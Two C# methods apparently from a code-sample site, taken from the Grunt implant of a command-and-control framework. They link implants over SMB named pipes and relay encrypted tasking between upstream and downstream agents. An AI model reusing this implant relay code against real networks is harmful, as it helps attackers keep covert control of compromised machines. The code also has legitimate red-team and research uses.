Esempio n. 1
0
        public bool Connect(string Hostname, string PipeName)
        {
            IMessenger olddownstream = this.DownstreamMessengers.FirstOrDefault(DM => DM.Hostname.ToLower() == (Hostname + ":" + PipeName).ToLower());

            if (olddownstream != null)
            {
                olddownstream.Close();
                this.DownstreamMessengers.Remove(olddownstream);
            }

            SMBMessenger downstream = new SMBMessenger(Hostname, PipeName);
            Thread       readThread = new Thread(() =>
            {
                while (true)
                {
                    try
                    {
                        ProfileMessage read = downstream.Read();
                        if (downstream.Identifier == "")
                        {
                            GruntEncryptedMessage message = this.Profile.ParseWriteFormat(read.Message);
                            if (message.GUID.Length == 20)
                            {
                                downstream.Identifier = message.GUID.Substring(10);
                            }
                            else if (message.GUID.Length == 10)
                            {
                                downstream.Identifier = message.GUID;
                            }
                        }
                        this.UpstreamMessenger.Write(read.Message);
                    }
                    catch (ThreadAbortException)
                    {
                        return;
                    }
                    catch (Exception e)
                    {
                        Console.Error.WriteLine("Thread Exception: " + e.Message + Environment.NewLine + e.StackTrace);
                    }
                }
            });

            downstream.ReadThread = readThread;
            downstream.ReadThread.Start();
            this.DownstreamMessengers.Add(downstream);
            return(true);
        }
Esempio n. 2
0
        public GruntTaskingMessage ReadTaskingMessage()
        {
            ProfileMessage readMessage = null;

            lock (_UpstreamLock)
            {
                readMessage = this.UpstreamMessenger.Read();
            }
            if (readMessage == null)
            {
                return(null);
            }
            GruntEncryptedMessage gruntMessage = null;

            if (readMessage.Type == MessageType.Read)
            {
                gruntMessage = this.Profile.ParseReadFormat(readMessage.Message);
            }
            else if (readMessage.Type == MessageType.Write)
            {
                gruntMessage = this.Profile.ParseWriteFormat(readMessage.Message);
            }
            if (gruntMessage == null)
            {
                return(null);
            }
            else if (gruntMessage.Type == GruntEncryptedMessage.GruntEncryptedMessageType.Tasking)
            {
                string json = this.Crafter.Retrieve(gruntMessage);
                return((json == null || json == "") ? null : GruntTaskingMessage.FromJson(json));
            }
            else
            {
                string json = this.Crafter.Retrieve(gruntMessage);
                GruntEncryptedMessage wrappedMessage = GruntEncryptedMessage.FromJson(json);
                IMessenger            relay          = this.DownstreamMessengers.FirstOrDefault(DM => DM.Identifier == wrappedMessage.GUID);
                if (relay != null)
                {
                    relay.Write(this.Profile.FormatRead(wrappedMessage));
                }
                return(null);
            }
        }